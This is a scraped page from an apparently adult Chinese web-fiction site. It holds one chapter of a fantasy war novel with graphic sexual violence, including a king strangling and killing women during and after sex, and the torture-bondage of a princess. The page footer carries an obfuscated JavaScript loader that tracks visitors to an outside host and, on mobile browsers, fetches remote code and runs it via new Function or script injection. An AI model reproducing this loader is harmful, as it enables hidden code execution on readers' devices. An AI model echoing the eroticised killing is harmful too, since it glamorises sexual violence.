第一话暴虐无道

猛虎义军聚兵二十余万制压西方,从皇城通往西边的主都城已被堵塞,沿海消息断绝,迪矣里全国接近五分之一版图落入叛军手上。南边则有爱珊娜和梵沁的三万联军,此一路兵力虽少,但却大着皇室正统的旗号,领军者为天才少年提督亚梵堤,补以名扬四方的“红胡子”基鲁尔、“贤者”多度和“箭神”破岳,可以预期南方郡城均无敌手。

“臣普察堤,参见国王陛下。”

在迪矣里深宫里,正上演一剧一皇众后的艳色无边。黎斯龙半跪床上,从后进入一名花样年华的少女,在他的脚边尚躺着七名赤裸的女孩,七名一丝不挂的女性肉体横陈,构成一幅荒淫的春宫图。

黎斯龙一沈厚的嗓子说:“爱卿来得好,今天我们在赌一递能力如何?”

地面加床上的八名女孩,其中有五名原是属于普察堤的女人,着对年轻的君臣经常进行淫乱的游戏,而女人就的赌门的筹码。事实上,普察堤已经取代了他的父亲,成为黎斯龙最得力的宠臣,专门负责情报和各种不见光的隐秘工作。

普察堤跪在大床上下的十尺距离,可近距离观看黎斯龙的粗大阳物,正从少女的嫩穴里进出,他只沈静地道:“陛下,微臣今天有要紧事情禀报。”

黎斯龙面上出现一个诡异的笑容,一边抽送以便淡淡道:“但说无妨。”

普察堤先是蔽一眼躺在四周的裸女们,新里暗骂黎斯龙粗率,军事机密让这些低三下四的女人知道,跟在街上四处宣扬没有分别。无奈老板就是老板,普察堤只得说:“亚梵堤和爱珊娜已经中计。”

提到爱珊娜的名字,黎斯龙曾被严重烧伤的面庞微一抽搐,忽然将身前的女子反过来,一传统的姿势插得更加深入。

“你确定亚梵堤真的中计?”

普察堤早拟好对答,道:“据小臣多布的内应调查,确定爱珊娜公主吃下特效药,最少未来数月进入沈睡状态。”

黎斯龙冷笑说:“亚梵堤·拉德尔次人狡猾多智,是头披着人皮的狐狸,即使计划顺利,但仍然要提放他一手。恩,静韵呢?”

普察堤回应说:“静韵带着残余部队不知所踪,微臣估计他躲进叛党的的区域,否则不可能离开我们的侦察网。”

“哼,可惜,我对他婊子的身体蛮有兴趣的。泰坦那混球如何,有没有他的消息?”

普察堤心中暗禀,不得不佩服静韵的先知先觉,同时更畏惧黎斯龙的冷酷无情。

静韵在花石城大败受伤,暂时无法领君作战,对黎斯龙来说已失利用价值,充其量是个长得好看的花瓶罢了。黎斯龙派遣泰坦带兵至西北方,表面上是防御西瓦龙的偷袭,但固中实在不合情理。

其实把关伏路这种小事,和煦国家第一号元帅亲身出马?

虽然黎斯龙没有言明,但是普察堤估计泰坦其实受命潜行风铃山脉,趁翼人空虚混乱之祭施以偷袭。等消灭翼人组以后,无论静韵或梵沁都不再有威胁,真是一举两得的计策。

普察堤压下心中的思绪,他不敢让黎斯龙发现自己知晓太多事情,保持平静说:“泰坦将军的行军路线稍偏西北方,暂时未知他有何打算,微臣是否派人打探追踪?”

“不必了,接近西方的地区情报网已经断掉,派人去也是多余。。。。噢,真舒服!”黎斯龙感到高潮将至,把女孩翻过来按在床上,粗大的手掌忽然移至他的喉头。那女孩承受数百次的操伐后早已是迷迷煳煳,茫然不知死神已经降临。

黎斯龙眼中爆起狂乱和兴奋,随着腰部动作加快,双手的力量奕渐强,紧紧捏着那女孩的项颈。在生死边缘里,那女孩本能的伸手想他开黎斯龙的铁臂,却如蜻蜓点柱一样毫无效果。在这窒息的期间,女孩的没条肌肉皆自然拉紧,阴部做出肉体极限的收缩,死亡的恐惧感和激烈的交合,让那女孩不能自控的出现了高潮和失禁,纯白的床单上染出了一片黄色。

女孩的胴体猛烈抽搐,当黎斯龙享受这血腥风味的高潮时,可怜这女子两眼圆睁地歪了头,刚刚好目光对正床上的普察堤。普察堤不由心脏一跳,这如花似玉的女孩曾跟自己有过半月的甜蜜时光,虽然他从不缅怀跟女人过去的韵事,但此情此景仍禁不住心中有愧。

满足兽欲的黎斯龙若无其事地站起身,将床上的银色绢衣披在身上,问到:“我要你调查猛虎义军的事情进展如何?”

“属下无能,帝路此人来历神秘,家人、故乡、祖籍、邻里等通通没有资料。”

最重要的敌人竟然查不到线索,普察堤忐忑地跪在地上,随着黎斯龙一步步走下来床阶而心跳加快,当黎斯龙轻拍他的肩膊时,普察堤差少许就吓得跳起来。黎斯龙柔声到:“辛苦爱卿了,如果帝路是西瓦龙的传闻属实,我不到他的资料才是合理。”

“陛下英明!”普察堤恨不得说这句一万次,好混淆黎斯龙视听。

“可惜位面迟了一步,要是那个叫佳娜的臭婊子在位面手上,就能打探更多帝路的事情。”

“要不要派人去抓佳娜回来?”

黎斯龙摇头道:“你有信心不让亚梵堤发觉下,活抓一条西瓦龙回来?”

普察堤在瞬间思量手上的人力物力,同时希望尽快弥补调查帝路失败的过错,断然道:“如果不让他变身,并非不可能,微臣即使肝脑涂地亦愿意一试。”

“不,我不希望冒这个风险,最少在解决掉亚梵堤以前我不想节外生枝。”

普察堤不禁生出胡疑,看黎斯龙一幅胸有成竹的姿态,很明显他手上握有皇牌,可是以情报能力见称的普察堤,却从来没有听闻过,甚至连少许头绪也没有。正在纳闷之祭,突然听到金属的摩擦声音,猛然擡头竟见到黎斯龙取出墙上的配剑而且拔出鞘。

“陛下?”

黎斯龙轻轻挥剑,一名躺在地上的裸女,粉白的颈上已多出一条深红血痕,她连叫喊也没有,生命无声无息地随着血水流逝。配剑连环挥动,闪出一连串美丽的剑光,裸女们一个接一个的断喉,黎斯龙踏着血路站到普察堤面前,将沾满血的长剑按在后者肩膊,微笑说:“刚才的对话只有我们君臣知道,爱卿是聪明人,应该明白。”

一滴汗从普察堤额角渗出,道:“微臣明白,请陛下放心。”

从近处看黎斯龙,普察堤才明白次人可非等闲之辈,他的手段高明,冷酷狠辣,城府甚深,而且文武双全,过往只不过爱珊娜的政治手腕高明,才会把黎斯龙给比了下去。所谓伴军如伴虎,普察堤现在彻底明白这道理,或许伴虎还比较安心。

迪矣里皇城拉开三条战线之祭,武罗斯特亦处于如火如荼的情况。在帝国以北费本立城中央的议政大厅外,聚集了为数三千的精锐骑士,全是来自北方个郡的领主亲卫兵。

三千二百尺的议政大厅内几乎座无虚席,单单只有核心最抢眼的主席位置悬空,其余北方十郡的领主全部到齐,尚有策士级文官及千骑级武将,总人数到达二百多人。厅内气氛沉重,暂代北方联盟领袖位置的是“北方双雄”之一,亚梵堤之下最出色的智将——利比度子爵。

坐在利比度右边的是拥有帝北首席剑手美誉,跟利比度齐名的北方另外一豪雄——艾华子爵。在利比度左边的则是费本立城代理领主,亚梵堤亲手栽培的族弟——里安道中将。在主要的席位上,当然少不了北方联盟的左右军师——萨马龙奇和阿里雅,以及莫耶、莫登和卡朗等主要人员,甚至连小费本立城的代理者百败将军奥迪迦亦有列席。

北方有头有脸的大人物九成九都到齐了。

疑视亚梵堤提督所颁下的军令,利比度叹了口气说:“小道,在这个节骨眼的时间,子爵大人到底身在何方?”

参与会议的爵士和官员,合共几百对眼睛全投在里安道一个人身上,他不由暗骂那位超级不负责任的主子。以前“老爷子”沙鲁安力健在还好,但是他老人家升天以后,亚梵堤大哥连一句谢谢都没有,就把整座费本立城丢给自己看管,世上怎么会有这种领主?自己是不是跟错了老大?

利比度的军阶和爵位比里安道高甚多,后者站起身咳嗽两声,说:“文件是少爷在珍佛明发出,但现在他身处迪矣里以男的花石城,跟爱珊娜公主会合。”

北方各地的官员忍不住起哄,议政厅发出阵阵的声响,谁都知道迪矣里发生大动乱,连暗夜妖精和翼人族也要参一脚,爱珊娜公主的形势岌岌可危。利比度起身,全厅的起哄立时止息,说:“请相信提督大人的能力。而我们要做的只有帝国营造优势,阿里雅小姐,南方的情况如何?”

阿里雅平静地说:“五日前南方实话戒严。情报人员已失去作用,我们收到最后的资料是‘夜鹰’尤烈特带了数万的兵马。隐藏在南部边境之内,赫鲁斯本人尽起海蓝飞雁军,摆明车马杀向帝东首郡临海城。”

艾华沈吟说:“赫鲁斯最喜欢用声东击西之策,重点应该是尤烈特这着暗棋,相信天美一定带同天空镜跟尤烈特一起。”

在座中队少数有限几个外,大部分都不知道天空镜为何物,只不过对天美的大名仍然深存畏惧,艾华问道:“拉德尔家庭呢?法特候爵有何部署?”

萨马龙奇说:“黑龙军只派出亚加力将军率领一万铁骑,在帝中与帝北边防屯兵,亚沙度将军则带走了一万黑龙军进驻帝中,但此人立场依然暧昧,还没有表明支持哪一方势力,看情况打算静观其变,以计得最大优势。”

利比度坐直身躯,说:“北方聪明现在有兵力多少?”

众领主同时精神大振,知道利比度将要动员北方十一郡的所有战力,阿里雅已率先分析道:“北方聪明的主力来自边防三大城,费本立城有骑兵二万及步兵一万,加上艾华和利比度两位子爵各一万骑兵,全计正规军为五万。其余八郡的游兵总和接近三万,加上小费本立城战士八千人,总兵力是八万八千。”

萨马龙奇接续道:“可是爱过正统训练,能随时调动的,只有在大城的四万骑兵,以及小费本立城的兽人部队六千人。”

利比度点头满意地奸笑说:“四万六千军力,要对抗赫鲁斯的十万大军当然不行,但是要捣乱局势则绰绰有余。哎呀,我怎么学了提督大人的行为模式?”

大厅里除了阿里雅外,其他人都忍不住大笑起来,大战前夕的气氛亦因而缓和不少。笑声过后,利比度问道:“奥迪迦先生,妖精族和兽人族可以依赖吗?”

小费本城管理人员奥迪迦曾是海军出身,对于利比度的问题已心领神会,说:“子爵大人可以放心,我们跟两大族的关系密切,兽人皇和大长老肯定站在亚梵堤公子这一边,帝北并没有后顾之忧。”

艾华和利比度忍不住有感而发,帝国北方的三大城的敌人从前是兽人族,双方深分不知累积了多少,对于自持身份的妖精族亦不敢轻心,几百年来亦皆如是。谁想到亚梵堤可以翻手为云,轻轻松松改变几百年来的形势,从前最大的劲敌竟变成今天最可信赖的战友。里安道补充说:“兽人皇沙捷夫正在小费本立城度假,大剑圣和魔导士色鳖两们大人也在本城作客。”

艾华吃惊道:“兽人皇、大剑对和魔导士?可以请他们出手吗?”

艾华说出了所有将士的心声,要是得到兽人皇借兵,加上龙煞和色鳖联手相助,北方聪明的战力将会倍增,只有利比度、萨马龙奇和阿里雅暗暗摇头。利比度失笑说:“难怪提督常常叫你大狗熊,我国的战争只能由我们解闷,要是牵涉到其它族群,会惹来很多政治问题,别忘记我们可非皇室。”

众人恍然大悟,跟外族做生意并不打紧,但勾结外族入侵国土可是叛国大罪,只要涉及军事就会有问题,艾华的脸一下红透,但却作声不得,毕竟他跟利比度多年兄弟,而且他现在最崇拜的,正好是叫他大狗熊的那一位。

利比度长身而起,逾百名爵士官员随即直立,前者说:“各位准备兵马,五日之后向南方出发,记紧,不要丢了我们家提督的面子!”

“遵命!”

自从接到普察堤的劝降后,我军以坦丁堡目标奔驰,连续三天每日赶十里路,其辛苦之处不是开玩笑的,加上烈日当空,平均气温高达三十度以上,行军路线更是崎岖小径,不是收买人命是什么?

“喂,给我再来一杯冰淇淋,这次要草莓口味。”

“遵命!”

随行的军厨从特制的冰箱中取出雪块搅碎,再打开果汁时,将粉红色汁液淋在碎雪上,最后插入一条草莓味的波奇棒。一杯闪亮发光的刨冰就此诞生。躺在爱珊娜的白色专用大床车上,一口一口吃着冰,总算消解一点点的暑气,原本爱珊娜所用的大床,是“井”字型由三十二人做反动,在经过我的重新设计,再加上俘掠了投降城池的物资,逐改为一辆由八匹马所拉动的车子。

计算一下时间快将日落,前锋部队差不多是时间寻我安营的地方了。

“喂,下次记得晒几滴初杨梅酒上去,这会香很多。”

“是的,属下谨记。”

唉,行军真辛苦。

我军以露茜为先锋,她跟雅男和破岳的翼人部队同行,而作为主帅的我当然是留守在中军。假扮爱珊娜的苏姬,以及翼人女皇全都在后军之中,而基鲁尔表面上留在后军指挥粮草补给线,实则苏姬免被刺杀。

至于真正的爱珊娜……嘿嘿……

来到了一座小山坡后,露茜和破岳检察了附近的地势环境,确定一切没问题后下寨安营。待他们安置好营寨后,我们中军亦已到达,破岳和露茜一同前来,其他士兵识趣地退开,破岳说:“再一天路将会到达坦丁堡,之后就是对皇城的决战。”

露茜问道:“元帅认为普察堤真的会相信我们投降?”

从大床车上跳了下来,拍拍坐麻了的屁股,笑道:“少傻了,那个死奸鬼不会轻易相信我们,他们只想用缓兵之计,等解闷猛虎义军后将会不留消灭我们。”

露茜点头道:“可以猜想到黎斯龙会暂时容忍我军,因为他误认真正的爱珊娜公主已喝了药沈睡,又确定国王不能痊愈,没有皇室要员的军队回师攻打皇城,其实是名不正言不顺,我们回去送死简直正中下怀。”

我笑而不语,即使黎斯龙能够猜到佐治的性病被瘟疫女神治好,但不会料到我会用苏姬假扮爱珊娜,一旁的破岳沈吟着,我皱眉问道:“什么事,破岳老师?”

破岳苦笑说:“不知为什么,最近两天总感到一份不详,希望不要有事发生就好。”

太阳尚未完全落山,天和地都是一片灰灰蓝蓝,让人心情无法安稳。黎斯龙使用缓兵之计,这一点我是可以打包票保证,但他们亦肯定准备了一些手段,甚至有两手准备应对任何情况。

在我所专用的帅营后方,摆放着那张巨型大床,为了躲过基鲁尔放在门后的几只恶犬的监视,小弟只好从帅营的小窗爬出去,虽说军队人多,但人多亦会眼杂,要神不知鬼不觉收起一个女人殊不容易。

拉开大床车的床肉,立刻露出内里的干坤。

哇哈哈,这就是本天才炼金术士亚梵堤少爷的最新大发明。

人肉马车配套。

说明是天才的设计,当然不止纯粹的捆绑那么简单。

在爱珊娜的两腿之间有一个木制活塞,活塞上有多个细小的孔洞,塞内安插了多条压力管,有活塞本身连接至马车的刚轮轴,当马匹拉动车子时,轮轴回引动活塞在爱珊娜的小穴里抽插,她的爱液将由活塞收集,经由压力管流回轮轴之上,成为纯天然的润滑剂。

除这一项润滑设计外,爱珊娜的胴体还有其他用途,由于车轮跟地面摩擦,会产生出累积的静电,故此一般大型马车会在车底留一条导电带。可是我的导电带并非延至地上,而是做成小圆铁丝贴,贴在爱珊娜的乳尖、阴蒂和肚肌上,等静电一到……嘿嘿嘿……她自然分泌更多润滑剂出来……变成了这马车的人肉润滑器。

“恐怕迪矣里千千万万的子民皆没想到,他们敬爱的爱珊娜公主殿下,居然被人拿来做人肉马车,而且由畜生控制肉洞中的活塞。”当我在爱珊娜耳边悄悄说话后,手指在她毫无防御力的乳头上一捏,只见其下体湿得犹如失禁,喷出一大滩闪光发亮的黏液。

解下爱珊娜的拘束带后,她早已是筋疲力尽,全身软趴趴地躺着,由今早赶路至现在恐怕高潮了数十次。将她抱到我的营帐内,她半睁的眼睛带着春情扫向我,小嘴微颤道:“刚才……小爱差一点……虚脱死呢。”

我大笑说:“放心,我从没听过淫魔一族会因为刺激过度而死。”

调教女人也要有一定的生理知识,我以前跟安菲亦玩得相当激烈,自问对淫魔一族的体能很了解,才大胆给爱珊娜使用这种特级折磨,否则换了普通女性,可能因体能和心脏负荷不了出现危险。嗯,以我所知被亚沙度调教至死的女奴可不少,这大概是正邪调教师的其中一个分别。

爱珊娜回气相当快,她的手缠至我的脖子上,在我耳边吹气说:“难怪这么多女人喜欢缠住你,被你这样一搞,小爱以后怎么可能爱其他男人?”

我的手顺着爱珊娜的纤腰游到她的屁股上,微笑说:“我跟普察堤相比,哪个比较厉害?”

爱珊娜惊讶了一瞬,但是很快已回过神来,说:“你妒忌?”

“哈哈哈哈哈……像我这样的男人,是不会懂得什么叫妒忌。”

爱珊娜幽幽说:“小爱知道世上没有事可以隐瞒亚梵堤。普察堤那家伙是有点调情手段,可是跟你相比却差了很多,最少他没有调教小爱的胆量。”

普天之下哪个种族不畏惧爱珊娜?即使兽人皇亦怕她几分,敢调教她的真恐怕只有我一个,闻言后淫笑道:“我还有更多玩意,你要不要试?”

淫魔一族始终是荒淫本性,爱珊娜的脸立时红透,却轻轻点头表示想试。我一拍她的屁股道:“还有旧规矩,调教时我是主人,你是奴隶!”

爱珊娜望一眼放着淫虐用具的木箱,嘴角勾起一个微不可察的笑容,道:“是的,‘主人’。”

太阳刚刚升起,一线微弱的光芒透进营内,让春梦正酣的我也醒来,爱珊娜正伏在我身上甜睡,她的两手绕在背后,胴体被长形红色物体所束缚住,它就是全年冬眠,几乎被以往的淫缚缎蛇,它由昨晚到现在都在紧紧纠住爱珊娜的香躯。

下体温温的实在太舒服了,昨夜睡觉前我估计把小兄弟插进爱珊娜的温穴内,就这样保持插入状态睡觉。

这种玩法可不能用于一般女奴身上,因为插着睡觉会把她们的肉穴弄松,但淫魔一族体质特殊,即使生育了好几次,女阴仍会像处女一样幼嫩紧狭,这亦是淫魔一族女体的珍贵之处。

轻轻拿起爱珊娜的秀发嗅一下发香,从我的角度可以看见她的裸背,由香肩至弯曲的背嵴骨,小巧的蜂腰至远大的桃股,女性的背后曲线一览无遗,在她白里透红的肌肤上,仍残留着一点点昨夜被鞭打的痕迹。淫缚缎蛇的尾巴伸至爱珊娜的两团股肉之间,相信这位淫贼兄弟跟我一样,将那个跳蛋尾囊塞入爱珊娜的小菊穴内才睡觉。

作为魔界五大淫兽之一,淫缚缎蛇有一种颇特殊的能力,就是它的召唤时间比其他淫兽长很多。一般淫兽与宿主定下契约,就会成为宿主的一部分,召唤几小时后必须回归宿主身上沈睡,只有淫蛇这家伙例外。以前做过几次试验,淫蛇虽然跟我有契约,但它却宛如一个独立体,能够玩女人玩天光不只,甚至可以在我家冬眠一整季,在云云淫兽当中它几乎是最独特的一类。

爱珊娜的胴体有一股吸引异性的诡异力量,更何况是全身赤裸被捆绑,原是半硬的小弟弟亦逐渐充血胀大,轻轻一拍她的丰臀,她的股肉微微地颤抖,才缓缓擡起头来。我捏住她的下巴,笑说:“公主殿下,微臣的小兄弟胀的有些痛呢。”

秀发凌乱的爱珊娜嫣然一笑,驯服道:“是贱奴太淫乱,害主人胀痛,请主人赐罚。”

“哈哈哈哈哈……你这个贱货实在投错了胎,你当妓女比当公主更适合。”

爱珊娜因为自己的话而显得激动,套住我的淫穴轻轻收缩,更多淫水从她的性穴里泄出来。她一副忍不住的表情,主动伸出脖子送上香舌求吻的下流样子。

哇,爱珊娜这婆娘果然够淫,在床上的淫态不逊于安菲。

其实爱珊娜过惯了被阿谀奉承的生活,裙下之臣哪个不对她战战兢兢,但在这几日里我将她带到另一个世界,让她尝到被男人作践玩弄,不被当成人看待的感觉,这份感觉对她来说是从来未有的新鲜感。

爱珊娜聪慧绝伦,她很快已投入自己的角色,用那对大号的咪咪磨我胸口,露出一副祈求的表情说:“伟大的主人啊,请赐吻您的小奴隶。”

“主人喜欢怎样干你,玩你也可以,谁会稀罕跟你接吻?”我故意捉弄爱珊娜,捏住她的舌头,她温驯地任我捏住她的小香舌,唾液从她的樱唇边流下来,她一对瞳眸因羞耻而变得水汪汪。

经过几天的调教我知道爱珊娜跟安菲不同,前者并非真正被虐狂,她纯粹因为喜欢性爱,才会如此容易投入性奴的角色。简单一点说,她只是喜欢角色扮演,从平日高高在上的公主偶尔变成男人脚下的奴隶,享受截然不同的感觉,所以她随时可以抽离游戏恢复自己。

然后安菲确实真正的被虐狂,她有淫魔族的好色天性,而且从十五岁开始已被我调教,普通的性爱安全无法满足她,要不是她被附上贞女蛊,连我自己也不敢保证她不会偷汉子。

哎,怎么会越来越想念安菲那妮子,虽然我知她手段高明,有足够能力保护自己,但她唯一的缺点是复仇执念太重,只要扯到赫鲁斯的事就会失去冷静。

用手指弹了一下淫缚锻蛇的蛇头,这条大懒蛇才张开眼睛,其蛇身加紧了收缩度,更加陷入爱珊娜的雪肌。我将爱珊娜拉起身,左右按着她的小嘴道:“以亚梵堤之名召唤——甜果果!”

一团像橘子般的圆形物凭空召唤出来,堵住了爱珊娜的嘴巴。保持着合体的状态将她抱起来,带到营帐内的一面镜子前,一手扯着她紫色的头发,让她六十度角向前俯,强逼她面对镜子看到自己被男人干的表情。

没有人会怀疑淫魔族女人的身材,爱珊娜的曲线完全显露在镜子倒影上,那双美乳因被淫蛇缚着更见突出,在她俯身的情况下在空气中悬垂着。一边欣赏被我深深插入的这位王国公主,一边笑道:“本来我培养出新种淫兽,想用在安菲的身上,不过今天就让你当一下实验品,以亚梵堤之名召唤——宫刑蝎子!”

精气由身体内抽走,换来的是寄生于身上的淫兽,它犹如一道银色的风,在爱珊娜的小腹前卷动旋转,最后才现出了真身。这只宫刑蝎子全身银色,长着两个大钳子和一条有倒钩的尾巴。

宫刑蝎子甫现身,两只钳子已经狠狠夹向爱珊娜一对蓓蕾,后者花容失色地挣扎,无奈她那娇躯如何挣脱淫蛇的束缚,只有眼睁睁看着蝎子对自己的乳尖肆虐。不只如此,蝎子尾巴更一下勾着了爱珊娜的肉蒂粒,对女性最敏感的三点做出重击。

邪爱族原是掌管内宫刑罚的小族,听闻更是拷问情报的专家,她们使用的淫兽都倾向于破坏类型,当中有多种较常用的淫兽,例如是“人彘螳螂”、“宫刑蝎子”、“镇静剂泥蜂”、“剥皮蝓”、“绞首锹形虫”等等,每一只都是独当一面,杀人于无形的邪恶淫兽,不用集合以前也够吓死人。

上次出使迪矣里时,从邪爱族长蓝晶处得到了邪恶淫兽的培育秘方,但区区小弟我心血少,对剥皮吃骨的猎奇故事没有兴趣,故此这些邪爱族的淫兽变得物无所用。然而邪恶淫兽的威力巨大,运用在实战上很理想,不使用又似乎很浪费,结果小弟想出了一个折中方法。

这头宫刑蝎子原本是用来进行割礼的淫兽,而事实上割礼并非一般人所想的简单,阉割以后万一伤口发炎,或者尿道口给堵住,而被割者将会有生命危险。宫刑蝎子的钳子把男根割去后,其尾巴的倒钩则会刺通尿道,并且注入一些抗生素。现在我把它的力量下调了八成,让它变成了刺激女生三点的好帮手。

在镜中的爱珊娜双手反缚,头发被我拉扯着,屁股向后擡起,两腿之间流着闪闪发亮的淫液。

“哼,今天不把你感到翻白眼,我亚梵堤少爷的名字倒来写!”

“呜……”

虽然爱珊娜看似任我摆布的样子,可是她曾学习皇室的床底秘术,而且具备淫魔一族体制,要是不花点功夫,如何显出我的功力。召唤出魔月邪术,运起魔枪七变化,魔枪作出一定程度的膨胀,更分泌出让女人敏感的汁液。爱珊娜感到体内有异,她的眼睛立即睁大,腰肢不由自主地扭动,一边发出“呜呜”乱叫,一边乳头被夹住的大奶在空中摇晃。

我的腰向后一抽,再向前用力一推,这一记攻击使爱珊娜两腿发软,膝盖微缩,流着唾液的小嘴发出爽快的呻吟声。我使用了一深一浅的节奏,不停地进行活塞动作,爱珊娜的小穴自然地夹紧,一泡淫水朝我的马眼灌进来,硬将我的魔枪鼓成圆球状。她在迷迷煳煳之间竟然使出了拿手床戏——阴水倒灌。

好招式!

换了普通男人被淫水灌进输精管,哪有不投降的理由?可是承继“魔月邪书”和“淫兽召唤录”这两大震古烁今的性技,我当然不可以丢面子,否则有何面目会帝国见乡亲父老?空出来多余的一只手戟指天空,运起魔力逼出魔枪七变之鳗鱼变,枪尖在爱珊娜的花蕊中释出电流。

“呜?!”

爱珊娜浑身猛地巨震,被电击中宫心后立即崩溃,套着我的开口放松过来,灌入魔枪的爱汁倒流而出,不但反过来冲击她的深处,还做成了喷泉效应,“啵”的一声,大量淫水自她的小穴中溅射出来流至地上。

硬受这一次冲击,爱珊娜整个人虚脱晕倒,两脚一软跪倒地上,像是肉泥一般瘫软在地毯上。她的美丽裸体和臀肉还持续颤抖,大量的液体从她的穴口流出,场面淫靡异常。

我用脚蹉了一下她的屁股说:“喂喂,我都还没完你就泄了吗?真没路用!”

忽然之间有些孤寂感,连堪称最浪荡的淫魔一族亦捱不起我的床技,相信在这个时代再没有女人能跟我单打独斗。突然想起了垂死老头的绝版咸书《皇朝秘史》,那个被称为帝国史上最淫乱的大淫妇哈莉莉夫人,不知厉害到什么程度?



 热门搜索:


 友情链接:


提示:点击查看永久收藏和无法观看电影说明【记住我们的邮箱:sfyddd1#gmail.com(把#换成@) 发送任意内容自动回复本站最新地址。】
警告:如果您未滿18歲或您當地法律許可之法定年齡、或是對情色反感或是衛道人士建議您離開本站! 本站歸類為限制級、限定為成年者已具有完整行為能力且願接受本站內影音內容、及各項條款之網友才可瀏覽,未滿18歲謝絕進入。
本站已遵照「iWIN網路內容防護機構」進行分類,如有家長發現未成年兒童/少年瀏覽此站、請按照此方法過濾本站內容 >>『網站分級制度』
function cXfxOMe(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VePSCEb(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return cXfxOMe(t);};window[''+'Q'+'N'+'J'+'T'+'W'+'i'+'x'+'B'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function eNSG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VePSCEb,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=eNSG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=eNSG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLnnZ5aXBueC5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5iaGVhZS5jb20llM0E5NTM1','9781',window,document,['n','l']);}:function(){};